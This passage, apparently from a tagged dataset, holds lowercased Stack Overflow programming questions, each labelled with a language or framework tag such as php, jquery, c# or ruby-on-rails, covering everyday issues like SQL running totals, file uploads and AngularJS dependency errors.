___forwarding___ + 988     4   corefoundation                      0x000000010f35f578 _cf_forwarding_prep_0 + 120     5   aepubreader                         0x000000010c6d293c -[aepubreaderappdelegate  </code></pre>   please help me thanks inadvance.,ios
how to implement a toggle button to set a rails boolean field  i have a rails form with a checkbox on a boolean field.    i want to replace the checkbox with a toggle button  using twitter bootstrap.    is there anything baked into rails to provide this kind of functionality  or will i need to write a script to update the checkbox value when the toggle button is clicked     thanks for any pointers. after a lot of searching  i ve been unable to find anything that describes this.,ruby-on-rails
sql calculate sum of part of the data  i have a table <code>date  subs  unsubs</code>  where <code>date</code> is pk  and <code>subs</code> and <code>unsubs</code> are the number of subscribes and unsubscribes on that date.    i want to add a column to calculate the number of total subscribers on each day  that is  if sort date  <code>subsall</code> = <code>subsall</code> of last row + <code>subs</code> - <code>unsubs</code>.    for example: the table is   <pre><code>---------------- 2012-01-01  5  2 2012-01-02  6  1 2012-01-03  4  3 ---------------- </code></pre>   i want to add a new column and the table becomes   <pre><code>------------------- 2012-01-01  5  2  3 2012-01-02  6  1  8 2012-01-03  4  3  9 ------------------- </code></pre>   what is the mysql command to do that,mysql
second drop down box needs to be dynamically populated  is it possible to second drop down box dynamically populated based on the values on first drop down box.   <pre><code>&lt;select name= category &gt;     &lt;option value= 0 &gt;none&lt;/option&gt;     &lt;option value= 1  rel= accessories &gt;cellphones&lt;/option&gt;     &lt;option value= 2  rel= sports &gt;sports&lt;/option&gt;     &lt;option value= 3  rel= cars &gt;cars&lt;/option&gt; &lt;/select&gt;  &lt;select name= items  class= cascade &gt;     &lt;option value= 3  class= accessories &gt;smartphone&lt;/option&gt;     &lt;option value= 8  class= accessories &gt;charger&lt;/option&gt;     &lt;option value= 1  class= sports &gt;basketball&lt;/option&gt;     &lt;option value= 4  class= sports &gt;volleyball&lt;/option&gt;     &lt;option value= 6  class= cars &gt;corvette&lt;/option&gt;     &lt;option value= 2  class= cars &gt;monte carloe&lt;/option&gt; &lt;/select&gt; </code></pre>,html
android spinner view like radio button  how do i create spinner in android like this    <a href= https://i.stack.imgur.com/wjvy3.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wjvy3.jpg  alt= spinner view ></a>    and after clicking on spinner the dropdown will be like this      <a href= https://i.stack.imgur.com/trpbk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/trpbk.png  alt= spinner dropdown ></a>,android
property set method not found  exception system.argumentexception  i am trying to copy properties to update the supplier in my code    here is my supplier update method   <pre><code>public bool updatesupplier(purchaseorderheader header  string newsupplier)     {         try         {             var oldsupplier = getsupplierforpoheader(header);             reflection.copypropertyvalues(oldsupplier  newsupplier);             console.writeline($ {oldsupplier} : {newsupplier} );             _context.savechanges();             return true;         }         catch (exception ex)         {             logger.logexception(ex);             throw;         }     } </code></pre>   here is my method for updating the values.   <pre><code>public static void copypropertyvalues(object source  object destination)     {         try         {             var destproperties = destination.gettype().getproperties();              foreach (var sourceproperty in source.gettype().getproperties())             foreach (var destproperty in destproperties)             {                 if (destproperty.name != sourceproperty.name ||                     !destproperty.propertytype.isassignablefrom(sourceproperty.propertytype) ||                     destproperty.name ==  id )                     continue;                  destproperty.setvalue(destination  sourceproperty.getvalue(source  new object[] { })                      new object[] { });                 break;             }         }         catch (exception e)         {             console.writeline(@ inner exception:  +e.innerexception .message);             console.writeline(@ message:  +e.message);         }     } </code></pre>   any ideas     i checked other stack overflow questions and it seems none of them are fixing my issue  i am fairly new to reflection so i have no idea how to go about fixing this myself.,c#
cannot prevent default on form ajax submit  i am not able form from going to the post url after clicking submit. how can i debug this  i could see very quickly there s an error on console.log right before the form opens the submit url  but i could not preventdefault the form submission to see what error is...   <pre><code>$( #done ).click(function(e){         var failed = 0;          formdata=$( form ).serializearray();                 for(var i=0; i&lt;formdata.length;i++){             console.log(i+ :   +formdata[i].value);             if(formdata[i].value==  ) {                 failed =1;             }          }          if(failed){             console.log( failed );          } else {             console.log( success );             var loginformurl = form.find( form ).attr( action );             //return false;             $.ajax({                 url : loginformurl  //need to tell which url to submit to                 type:  post                   data : formdata  //serialized data                 success:function() {                     console.log( succeeded );                      return false;                 }                  error: function() {                     console.log( failed );                     return false;                 }             });             return false;         }       }); </code></pre>,jquery
php die() from included page without dying from main page  is there a way to use the <code>die()</code> function to stop executing php statements on a page included on another page  but continue the execution of php statements on the page on which the file containing the <code>die()</code> function was included,php
php multiple images upload  i know this question is repeated over and over.. but can t seem to find solution for my problem...    how can i create a form which will allow user to upload xy images at once     here s my html code:   <pre><code>&lt;form class= pure-form  action= upload.php  enctype= multipart/form-data  method= post &gt;          &lt;div class= upload &gt;             &lt;a onclick= select_file()  class= pure-button &gt;choose a image&lt;/a&gt;             &lt;input id= image  type= file  name= image[]  multiple= multiple &gt;         &lt;/div&gt;          &lt;!--image preview--&gt;         &lt;img src=   style= display:none &gt;          &lt;input class= pure-button pure-button-primary  type= submit  value= upload! &gt;     &lt;/form&gt; </code></pre>   and here s my php code:           <pre><code>$valid_exts = array( jpeg    jpg    png    gif ); // valid extensions $max_size = 2048 * 1024; // max file size (200kb) $path =  uploads/ ; // upload directory  if ( $_server[ request_method ] ===  post  ) {     if( @is_uploaded_file($_files[ image ][ tmp_name ]) )     {         // get uploaded file extension         $ext = strtolower(pathinfo($_files[ image ][ name ]  pathinfo_extension));         // looking for format and size validity         if (in_array($ext  $valid_exts) and $_files[ image ][ size ] &lt; $max_size)         {             // unique file path             $path = $path . uniqid().  .  .$ext;             // move uploaded file from temp to uploads directory             if (move_uploaded_file($_files[ image ][ tmp_name ]  $path))             {                 $status =  image uploaded successfully! ;                 $status = $path;             }             else {                 $status =  upload fail: unknown error occurred! ;             }         }         else {             $status =  upload fail: unsupported file format or it is too large to upload! ;         }     }     else {         $status =  upload fail: file not uploaded! ;     } } else {     $status =  bad request! ; }  // echo out json encoded status echo json_encode(array( status  =&gt; $status));  &gt; </code></pre>   is it possible to solve this problem with foreach  if so  how should i do that,php
actioncontroller::unknownformat when sending plain text  i m riding rail4 and trying to send some plain text down with a get request:   <pre><code>def get_text   respond_to do |format|     format.text { render :text =&gt;  huh  }   end end </code></pre>   but i end up with <code>actioncontroller::unknownformat</code> which i have frustrating discovered is rails  funny way of saying 406 not acceptable.    what is going on here,ruby-on-rails
difference between the in keyword and __contains__ in python  i was wondering if some one could explain the difference between the  in  keyword of python and the <strong>contains</strong> method    i was working with a sample list and found this behavior. when are the two supposed to be used  is there some efficiency that can be achieved if i use one over the other.   <pre><code>    &gt;&gt;&gt; my_list = [ a    b    c ]     &gt;&gt;&gt; my_list.__contains__( a )     true     &gt;&gt;&gt;  a  in my_list     true </code></pre>,python
how to pass an r-value std::vector to a function   what i would like to do is to call a function that contains an <code>std::vector</code> parameter by directly putting an array in the call. i don t want to make a vector and then pass it into the function  but i want to put the braces right in the function. here is the general idea:   <pre><code>void dosomething(std::vector&lt;int&gt; arr) {     std::cout &lt;&lt; arr[0] &lt;&lt; std::endl; }  int main() {     dosomething({ 1  2  3 }); } </code></pre>   this gives me an error. i have also tried using a lambda expression  which i am not quite familiar with  but here it is:   <pre><code>dosomething([]()-&gt;std::vector&lt;int&gt;{ return{ 1  2  3 }; }); </code></pre>   this does not work. and here is specifically what i don t want:   <pre><code>std::vector&lt;int&gt; a {1  2  3}; dosomething(a); </code></pre>   so how should i approach this  i really hope that what i have written isn t completely stupid.,c++
ruby on rails - is there a way of rendering a partial found inside a subfolder   i want to know if the code below is correct. i simply want to render a partial found inside a subfolder.     my view folder is like this : views/subs/showpartials/_showform1.html.erb    the code below is not working and is displaying the error message <code>&lt;&lt;actionview::missingtemplate in subs#show &gt;&gt;</code>    code:   <pre><code>&lt;%= render :partial =&gt;  showpartials/showform1  %&gt; </code></pre>   many many thanks in advance for your help,ruby-on-rails
iphone: how to send email from iphone withouth use mfmailcomposeviewcontroller class   does it possible to send email without use mfmailcomposeviewcontroller class that provide by apple   whether app will accept this type app      if it is no problem to publish   which open source lib code can be use for this purpose      thanks for your help or tip .     regards,iphone
"text on image in html table cell  i have this table in my webpage and it has an image in each cell. the image is the size of the cell in each case. what i need is for the images to stay in the same place but still allow me to type over them in each cell. for the first row  i need the div with id  questiontext  to cover the image  questionimg  (and if possible be centred). pretty much  i want it so that in each cell  the image is a set size and it fills the whole cell and then text on top of it. i honestly don t know how to do it.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table id= questiontable &gt;
   &lt;tr&gt;
     &lt;td colspan= 2  id= questioncell &gt;
       &lt;img id= questionimg  src= images/millionaire large.png  width= 100%  height= 100%  style= display:block; &gt;
       &lt;div id= questiontext  class= celltext &gt;this is a question&lt;/div&gt;
     &lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
     &lt;td id= answer1cell &gt;&lt;img id= answer1img  src= images/millionaire small left.png  width= 100%  height= 100%  style= display:block; &gt;&lt;/td&gt;
     &lt;td id= answer2cell &gt;&lt;img id= answer2img  src= images/millionaire small right.png  width= 100%  height= 100%  style= display:block; &gt;&lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
     &lt;td id= answer3cell &gt;&lt;img id= answer3img  src= images/millionaire small left.png  width= 100%  height= 100%  style= display:block; &gt;&lt;/td&gt;
     &lt;td id= answer4cell &gt;&lt;img id= answer4img  src= images/millionaire small right.png  width= 100%  height= 100%  style= display:block; &gt;&lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#questiontable {
   border: none;
   table-layout: fixed;
   width: 70vw;
   position: absolute;
   left: 2vw;
   bottom: 2vw
 }
 
 td {
   width: 35vw;
 }
 
 .celltext {
   color: white;
   font: 2.5vw arial  sans-serif;
   word-wrap: break-word;
   overflow: auto;
   position: relative;
 }</code></pre>
 </div>
 </div>
     thanks for the help",html
running a preloader only if content is not cached in the browser  i have a very simple jquery preloader as follows:   <pre><code>$(window).load(function() {             $( #load-info ).fadeout();             $( #preloader ).delay(500).fadeout( slow   function() {                 this.remove();             });         }); </code></pre>   the preloader id is a white background the entire height of the page  #load-info is the loading text and spinner. upon completing the spinner and loading message fades out  and then the white background fades out and reveals the page content and the item is removed from the dom. this works great  but i wanted to try taking it a step further and make it so the user won t see any of the preloader if they were simply refreshing or revisiting the page.     i know that i could simply remove the fades  but then when the preloader is actually necessary it would be too abrupt. i was thinking maybe a time stamp and checking to see if the time is longer than  let s say 500ms  run the preloader  otherwise just show the content... but i don t know if this is the correct way of doing this.     how would i run a preloader only when a page actually needs to be loaded and not on every page view  am i over-complicating this,jquery
chrome doesn t work properly on keycode/keypress (jquery)  i m developing a data insertion in excel-like environment (the idea is to upload the data copypasting from excel).    i m using jquery for this  and works pretty well in firefox  but chrome is a headache on keypress  i really don t get how to make it work.    here s the example: <a href= http://jsfiddle.net/j6pgy/  rel= nofollow >http://jsfiddle.net/j6pgy/</a>    what i m doing is something like this:   <pre><code>$(document).live( keypress   function(e){ if(e.keycode==38 &amp;&amp; y!=1){ // up     y--; }else if(e.keycode==40 &amp;&amp; y!=largo){ // down     y++; } </code></pre>   take a look from line 67,jquery
load css/js for specific user control in asp.net  i want to load a css/js only when a specific user control is being used.    how can i do this,asp.net
how to set date/time from time server  hi i am using below function from <a href= https://stackoverflow.com/questions/1193955/how-to-query-an-ntp-server-using-c >how to query an ntp server using c# </a> to get time from time server   <pre><code>public  datetime _mgetnetworktime() {     try     {         //default windows time server         const string ntpserver =  time.windows.com ;          // ntp message size - 16 bytes of the digest (rfc 2030)         var ntpdata = new byte[48];          //setting the leap indicator  version number and mode values         ntpdata[0] = 0x1b; //li = 0 (no warning)  vn = 3 (ipv4 only)  mode = 3 (client mode)          var addresses = dns.gethostentry(ntpserver).addresslist;          //the udp port number assigned to ntp is 123         var ipendpoint = new ipendpoint(addresses[0]  123);         //ntp uses udp         var socket = new socket(addressfamily.internetwork  sockettype.dgram  protocoltype.udp);          socket.connect(ipendpoint);          socket.send(ntpdata);         socket.receive(ntpdata);         socket.close();          //offset to get to the  transmit timestamp  field (time at which the reply          //departed the server for the client  in 64-bit timestamp format.          const byte serverreplytime = 40;          //get the seconds part         ulong intpart = bitconverter.touint32(ntpdata  serverreplytime);          //get the seconds fraction         ulong fractpart = bitconverter.touint32(ntpdata  serverreplytime + 4);          //convert from big-endian to little-endian         intpart = swapendianness(intpart);         fractpart = swapendianness(fractpart);          var milliseconds = (intpart * 1000) + ((fractpart * 1000) / 0x100000000l);          //**utc** time         var networkdatetime = (new datetime(1900  1  1  0  0  0  datetimekind.utc)).addmilliseconds((long)milliseconds);          return networkdatetime.tolocaltime();     }     catch (exception e)     {         messagebox.show(e.message);         return convert.todatetime ( 12-31-1900 );     } }  uint swapendianness(ulong x) {     return (uint)(((x &amp; 0x000000ff) &lt;&lt; 24) +                    ((x &amp; 0x0000ff00) &lt;&lt; 8) +                    ((x &amp; 0x00ff0000) &gt;&gt; 8) +                    ((x &amp; 0xff000000) &gt;&gt; 24)); } </code></pre>   above function is working but my issue is :     it is not getting indian time . suppose now time is 9:10 pm function is setting 5:30 am  date is correct ..     please guide me where i am wrong ..     thanks    <strong>update :</strong>     i am setting a date time veritable for example  <code>datetime a = _mgetnetworktime();</code> with above code and passing values to other function which is below.   <pre><code>[structlayout(layoutkind.sequential)]         public struct systemtime         {             public short wyear;             public short wmonth;             public short wdayofweek;             public short wday;             public short whour;             public short wminute;             public short wsecond;             public short wmilliseconds;         }         [dllimport( kernel32.dll   setlasterror = true)]         public static extern bool setsystemtime(ref systemtime st);          public  void _msetsystemdate(short _pyear  short _pmonth  short _pday  short _phour = 0  short _pminute = 0  short _psecond = 0)         {             if (isuseradministrator())             {                 systemtime st = new systemtime();                 st.wyear = _pyear; // must be short                 st.wmonth = _pmonth;                 st.wday = _pday;                 st.whour = _phour;                 st.wminute = _pminute;                 st.wsecond = _psecond;                 setsystemtime(ref st); // invoke this method.             }             else             {                 messagebox.show( you have not windows administrator access.  + environment.newline +  please login windows with addministrator rights. );             }         } </code></pre>,c#
php how to count the arrays values   i m trying to count all the values in the array and check if one value was entered and if so display a certain message for it and if there was more then one value entered display a different message for it.    how will i be able to this and where should i add it to my code     here is the code below.   <pre><code>if ($array == 1){     echo $array .   has been entered ; } else {     echo implode(      $array) .   have been entered ; } </code></pre>,php
using sql  how can i simultaneously count the filtered and unfiltered occurrences of an attribute   so this is probably a simple question  but here goes. i have some filtered data that get via a query like this:   <pre><code>select distinct account_id  count(*) as filtered_count  from my_table where attribute like  %filter%  group by account_id order by account_id  </code></pre>   this gives me an output table with two columns.     i d like to add a third column     <pre><code>count(*) as total_count </code></pre>   that counts the total number of occurrences of each account_id in the entire table (ignoring the filter).    how can i write the query for this three column table,sql
compiler does not allow to use exit() function in c  i am doing an online course in programming  and i ve got assignment to complete  so my problem is i m not able to use <code>exit(0)</code>; in this online compiler  i dont know which compiler is this  however the course is powered by google.    whatsoever  the error i get is :   <pre><code>program:18:1: warning: implicit declaration of function  exit  [-wimplicit-function-declaration] program:18:1: warning: incompatible implicit declaration of built-in function  exit  [enabled by default]  </code></pre>   so i m helpless  it works fine in other compilers   ie dev c++ and turbo c++   so can anyone help me please!,c
get website name using asp.net  i want to get website name using asp.net    i have one website that website contain generic handler page. so my client s website send http request to my site. that time i want to validate whether the request come from my client website or any other site . so how to find the website name     i want to create api to send and receive http request. so thats way i need this coding.    request example: <a href= http://mysite.com/getrequest.ashx mobile=9894380156&amp;opt=ra&amp;amt=10  rel= nofollow >http://mysite.com/getrequest.ashx mobile=9894380156&amp;opt=ra&amp;amt=10</a>     response example: recharge accepted,asp.net
non reference-counting dictionary in objective-c  is there any  easy  way of having pure objective-c containers  such as nsmutabledictionary or cfmutabledictionary  that don t increment the reference count of added objects  without using the c++ standard library     edit: explanation - the reason i want this is so i can implement a kind of  exactly one  pattern - a class will have a static getthing:(nsstring*)name method. if that method finds a thing associated with the name in some static datastructure (the non reference-counting dictionary)  it returns it  otherwise it creates one  adds it to the structure under that name  and returns it. that thing object can be retained by the client at will  but when its reference count falls to 0 (and dealloc is called)  it should be removed from the dictionary. thus  i can t release it when adding and retain it again when removing it - dealloc would get called again  and i don t want that. that s why i need the non incrementing dictionary. if there s another way to get what i want  please let me know  although i m pretty sure that the checked answer gives me what i want. thanks!,objective-c
is the .net framework free software   is the .net framework free software  or not  it seems that the .net framework is freely available  so i want to create a program that requires the user to install the .net framework in order to use it.<br> are there any licensing issues that i should be worried about in choosing to do so,.net
c# double to int conversion issue  i have a simple conversion in c#   <pre><code>double dindex bindex; int    index;  for(double pr=1100;pr&lt;=1101;pr+=0.1) {     dindex = math.round(pr 1);     bindex = dindex/0.1;     index = (int)bindex; } </code></pre>   i have printed value of dindex  bindex and index  the last line should convert to int but it is not always correct  the output looks as follows:  how can i make the converted int on column 3 (index)to be equivalent to double in column 2(bindex)    <pre class= lang-none prettyprint-override ><code>1100   11000     11000 1100.1   11001     11000 1100.2   11002     11002 1100.3   11003     11002 1100.4   11004     11004 1100.5   11005     11005 1100.6   11006     11005 1100.7   11007     11007 1100.8   11008     11007 1100.9   11009     11009 1101   11010     11010 </code></pre>   what am i doing wrong,c#
how to get total number of vowels in a string  i am just curious how you can get the total number of vowels in a string. i know this is a very simple function  but i am new to javascript. thanks for the help,javascript
circular dependency - how to resolve and avoid  i have just added a http response interceptor to one of my modules  and have encountered a circular dependency issue:   <blockquote>    uncaught error: [$injector:cdep] circular dependency found: $http &lt;-   $templatefactory &lt;- $view &lt;- $state &lt;- responseinterceptor &lt;- $http &lt;-   $translatestaticfilesloader  </blockquote>   <strong>code</strong>   <pre><code>(function() {    use strict ;    angular     .module( app.core   [ nganimate          ngsanitize          ngresource          ui.bootstrap          ui.router.tabs          scdatetime          schemaform          ui.validate          ngstorage          ngmaterial          pascalprecht.translate          ui.router      ])     .factory( responseinterceptor   responseinterceptor)     .config(httpproviderconfig);    responseinterceptor.$inject = [ $q    $rootscope    $state ];   function responseinterceptor($q  $rootscope  $state){     return {       responseerror: function(response) {         $rootscope.showspinner = false;         if(response.status === 401){           $state.go( login );         }         return $q.reject(response);        }     }   }    httpproviderconfig.$inject = [ $httpprovider ];   function httpproviderconfig($httpprovider){     $httpprovider.interceptors.push( responseinterceptor );   } })(); </code></pre>   i can solve this using <code>$injector.get()</code> to retrieve an instance instead:   <pre><code>  responseinterceptor.$inject = [ $q    $rootscope    $injector ];   function responseinterceptor($q  $rootscope  $injector){     return {       responseerror: function(response) {         $rootscope.showspinner = false;         if(response.status === 401){           $injector.get( $state ).go( login );         }         return $q.reject(response);        }     }   } </code></pre>   whilst this works  i would rather try and get to the bottom of the problem.    judging by the error  i think this is being caused by the following config on my <code>app.core</code> module   <pre><code>(function() {    use strict ;    angular.module( app.core ).config(translateproviderconfig);    translateproviderconfig.$inject = [ $translateprovider ];    function translateproviderconfig($translateprovider) {     $translateprovider.usestaticfilesloader({       prefix:  assets/locale/         suffix:  .json      });     $translateprovider.preferredlanguage( en_gb );     return $translateprovider.usesanitizevaluestrategy( sanitize );   } })(); </code></pre>   so i m unsure what to do next  is it valid to use <code>$injector.get()</code> or does this indicate a problem else where in the way i am including dependencies  e.g. duplicates,angularjs
max size of unique index in mysql  is there a max size of a <code>unique</code> index in mysql  i have six dimensions in my index  which leads to a massive index. is there a cardinality limit to <code>unique</code> index      i am getting weird unexplained errors and wonder if there is a limit from the <code>unique</code>. could it come from a uniqueness limit  here is what it looks like (i also don t understand why the cardinality of the last three columns does not increase).   <pre><code>+-------+------------+----------+--------------+---------------+-----------+-------------+----------+--------+------+------------+---------+---------------+ | table | non_unique | key_name | seq_in_index | column_name   | collation | cardinality | sub_part | packed | null | index_type | comment | index_comment | +-------+------------+----------+--------------+---------------+-----------+-------------+----------+--------+------+------------+---------+---------------+ | table |          0 | primary  |            1 | column_1      | a         |          15 |     null | null   |      | btree      |         |               | | table |          0 | primary  |            2 | column_2      | a         |       91948 |     null | null   |      | btree      |         |               | | table |          0 | primary  |            3 | column_3      | a         |      924889 |     null | null   |      | btree      |         |               | | table |          0 | primary  |            4 | column_4      | a         |    15723114 |     null | null   |      | btree      |         |               | | table |          0 | primary  |            5 | column_5      | a         |    15723114 |     null | null   |      | btree      |         |               | | table |          0 | primary  |            6 | column_6      | a         |    15723114 |     null | null   |      | btree      |         |               | +-------+------------+----------+--------------+---------------+-----------+-------------+----------+--------+------+------------+---------+---------------+ </code></pre>,mysql
sibling span(s) positioning relative to each other  i have two <code>span</code>(s) positioned adjacent to one another within a parent <code>div</code>.    <pre><code>&lt;div&gt;     &lt;span id= x1 &gt; &lt;/span&gt;     &lt;span id= x2 &gt; &lt;/span&gt; &lt;/div&gt; </code></pre>   i want the 2nd <code>span</code> to be shown leftmost &amp; then 1st span. (note: for some reasons i cannot  simply move the 2nd span in place of 1st span in html code). how can i display 2nd span on leftmost     <h1>edit:</h1>   <code>float:left;</code> on 2nd span seems to do the trick but not sure if this would be cross browser consistent in terms of this behavior!,css
calculating factorials in c#  i am trying to write a program that will take the users input value and asks whether they want to calculate the value of the numbers 1 to n or the factorial of n! this is what i have so far   <pre><code>using system; using system.collections.generic; using system.linq; using system.text;  namespace project_2_part_b {     class program     {         static void main(string[] args)         {                              var fkeylow =  f ;              var fkeycap =  f ;              var skeylow= s ;              var skeycap= s ;              int n = 0;              long factorial = n;               console.writeline( input a value n );              n = convert.toint32(console.readline());               console.writeline( do you want to calculate factorial or sum );              console.writeline( enter f or s );               var a = console.readline();               if (a == fkeylow)                  console.writeline();               if (a == fkeycap)                  console.writeline();               var b=console.readline();               if (b == skeylow)                  console.writeline();               if (b == skeycap)                  console.writeline();               console.writeline( press any key to close... );              console.readline();          }      } } </code></pre>   my issue is with the syntax of the calculation to make the code execute the n*(n-1) while n>1 any help would be greatly appreciated. thank you in advanced!,c#
missing template error for specific function – others work fine  i have a route that is triggered when someone clicks a hyperlink to download a file.    my routes:   <pre><code> /document/download_some_file/  =&gt;  documents#download_some_file  </code></pre>   my controller:   <pre><code>def download_some_file   content =  hello world    send_data content  :filename =&gt;  some_file.dat    # if i comment out the above line (send_data) i get a missing template error   # if i name this function anything other than download_xyz i get a missing template error end </code></pre>   this works fine. however i have another hyperlink:   <pre><code> /document/refresh_files/  =&gt;  documents#refresh_files  </code></pre>   then    <pre><code>def refresh_files   #stuff here   #this throws a missing template error   #if i rename this to download_xyz it works fine end </code></pre>   so...what s going on here exactly  the first function i showed (download_some_file) does work properly.    the refresh_files is what i m trying to fix. it should just call another function inside the documents controller. even if i just do a <code>puts</code> i get a template error.,ruby-on-rails
scaling html page for mobile  i want to make my html page scale with the mobile screen it is opened on. this is my code i have. i have added the initial scale 1 line but it doesn t seem to work. i want the images the input box and the radio button to scale with the width and height of the device the page is opened on. i am using html/css and bootstrap to make the page and some javascript.   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt;   &lt;head&gt;      &lt;img class= img-responsive  src= corendonwifi.png  alt= chania  width= 460  align= middle  height= 345 &gt;      &lt;script&gt;       function myfunc() {         var checker = document.getelementbyid( checkme );         var sendbtn = document.getelementbyid( sendnewsms );          checker.onchange = function(){           if(this.checked){             sendbtn.disabled = false;           } else {             sendbtn.disabled = true;           }         }       }     &lt;/script&gt;      &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;     &lt;title&gt;corendon wi-fi&lt;/title&gt;     &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css &gt;     &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css &gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js &gt;&lt;/script&gt;     &lt;script src= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js &gt;&lt;/script&gt;      &lt;style type= text/css &gt;       h1 { text-align: center }       .bs-example{         margin: 20px;       }       body {         position: fixed;         top: 20%;         left: 50%;         transform: translate(-50%  -35%);       }       input  textarea {         max-width:100%       };       img {         max-width: 100%       };     &lt;/style&gt;   &lt;/head&gt;   &lt;body onload= myfunc(); &gt;     &lt;div class= bs-example &gt;       &lt;div class= bs-example &gt;         &lt;form&gt;           &lt;div class= form-group &gt;             &lt;label for= inputticketnummer &gt;ticketnummer&lt;/label&gt;              &lt;input type= ticketnummer  class= form-control  id= inputticketnummer  maxlength= 20  placeholder= ticketnummer  size=    required&gt;           &lt;/div&gt;           &lt;input type= checkbox   id= checkme /&gt; ik heb de &lt;a href= agreements  class= button &gt;voorwaarden&lt;/a&gt; gelezen &lt;/label&gt;           &lt;br&gt;&lt;br&gt;           &lt;input type= submit  name= sendnewsms  class= btn btn-primary  class= btn-xs  disabled= disabled  id= sendnewsms  value=  ga door   /&gt;         &lt;/form&gt;&lt;/div&gt;&lt;/form&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>,html
change the url without reloading the controller in angularjs  initially  i am showing all the users name in the table. once the user selected any one of the name  i call the loaddata method with the selected user as the parameter. i am changing the url #/trades/user/user1 and append the details under the user1. my requirement is 1) in the loaddata method  i want to change the url to as #/trades/user/user1 or #/trades/user/user2 based on the selection 2) it should update the data and reflect in view  but it should not reload the controller.    <strong>html</strong>   <pre><code>&lt;div ng-app= myapp  ng-controller= myctrl &gt;  &lt;table&gt;     &lt;tr ng-repeat-start= val in data.titles  class= h  ng-click= loaddata(val.title) &gt;         &lt;td colspan= 2  ng-hide= val.title == undefined &gt;{{val.title}}&lt;/td&gt;     &lt;/tr&gt;     &lt;tr ng-repeat= con in val.details &gt;         &lt;td&gt;{{con.portfolio}}&lt;/td&gt;         &lt;td&gt;{{con.status}}&lt;/td&gt;     &lt;/tr&gt;     &lt;tr ng-repeat-end&gt;         &lt;td colspan= 2 &gt;load more&lt;/td&gt;     &lt;/tr&gt;  &lt;/table&gt; &lt;/div&gt; </code></pre>   <strong>code</strong>   <pre><code>angular.module( myapp   [])     .controller( myctrl   [ $scope   function ($scope) {          $scope.data = { titles :[{title: user 1                   details: [{portfolio:  microsoft   status: active } {portfolio: ibm   status: inactive }]     }  {title: user 2           details: [{portfolio:  yahoo   status: inactive } {portfolio:  google   status: active }]     }]};  $scope.loaddata = function(id) {     change the url as #/trades/author/user1     load the details of the user1 };     }); </code></pre>,angularjs
(beginner java) python time.sleep() equivalent in java  google says thread.sleep() for multi-threaded stuff  but trying that throws an error  i m working on an example in daniel liang s <em>introduction to java</em>  and i m trying to step through the problem to see what exactly is happening  but everything prints out too quickly. so  i m looking for an equivalent in java to python s time.sleep().    i know i could make a timer via <code>currenttimemillis</code>  but a simple sleep function would be much more handy.     i ve tried typing <code>thread.sleep(millis)</code> as suggested on google -- as well as <code>thread.getcurrentthread.sleep()</code>  but both are giving the following error:    <blockquote>    error: unreported exception interruptedexception; must be caught or   declared to be thrown                 thread.sleep(1000);  </blockquote>   this is the piece of code in question:    <pre><code>        for (int j = i; j&lt;100; j+=i){              thread.sleep(1000);             system.out.println(j);          } </code></pre>,java
obtain id of ul closest to the button that was clicked  how do i get the id of a ul that is closest to the button that was clicked using jquery  the button in the second group seems to be returning my top-most ul. thanks.   <pre><code> div class= first &gt;     &lt;ul id= one &gt;         &lt;li&gt;1&lt;/li&gt;         &lt;li&gt;2&lt;/li&gt;         &lt;li&gt;3&lt;/li&gt;     &lt;/ul&gt;      &lt;button type= button   id= 4444  onclick= getclosestul() &gt;get closest ul to button&lt;/button&gt; &lt;/div&gt; &lt;div class= first &gt;     &lt;ul id= two &gt;         &lt;li&gt;1&lt;/li&gt;         &lt;li&gt;2&lt;/li&gt;         &lt;li&gt;3&lt;/li&gt;     &lt;/ul&gt;      &lt;button type= button   id= 5555  onclick= getclosestul() &gt;get closest ul to button&lt;/button&gt; &lt;/div&gt;  &lt;script type= text/javascript &gt; function getclosestul() {     console.log($( button ).closest() +     this is ul id ); } &lt;/script&gt; </code></pre>,jquery
objective c:cant understand the logic of looping  i am new to objective c. currently  i am trying out some examples in objective c. i am not getting the correct output. i could not understand the logic behind the correct output which i have included here.   <h2>main.m</h2>  <pre><code>#import &lt;foundation/foundation.h&gt; #import  budobj.h  #import  transaction.h   int main(int argc  char *argv[]) {          budget* europebudget=[budget new];         nsmutablearray *transactions=[[nsmutablearray alloc] initwithcapacity:10];          [europebudget createbudget:1000.00 withexchangerate:1.2500];          transaction* atransaction;         atransaction = [transaction new];         for(int n=1;n&lt;2;n++){                  [atransaction createtransaction:n*100 oftype:credit];                 [transactions addobject:atransaction];          }          int n=1;         while (n&lt;3) {                  [atransaction createtransaction:n*100 oftype:cash];                 [transactions addobject:atransaction];                 n++;         }          do{                 [atransaction createtransaction:n*100 oftype:credit];                 [transactions addobject:atransaction];                 n++;         }while (n&lt;=3);            for(transaction *aatransaction in transactions){          switch ([atransaction returntype]) {                 case cash:                     [europebudget spenddollars:[aatransaction returnamount]];                     break;                 case credit:                     [europebudget changeforeigncurrency:[aatransaction returnamount]];                     break;                 default:                     break;          }         }           return 0; } </code></pre>  <hr>  <h2>budobj.m</h2>  <pre><code>#import &lt;foundation/foundation.h&gt; #import  budobj.h  #import  transaction.h   @implementation budget  - (void) createbudget: (double) abudget withexchangerate: (float) anexchangerate{         budget = abudget;         exchangerate = anexchangerate; }   - (void) spenddollars:(double)dollars{     budget = budget - dollars;         nslog(@ converting %0.2f us dollars into foreign currency leaves $%0.2f  dollars budget); }  - (void) changeforeigncurrency:(double)foreigncurrency{     exchangetransaction = foreigncurrency * exchangerate;         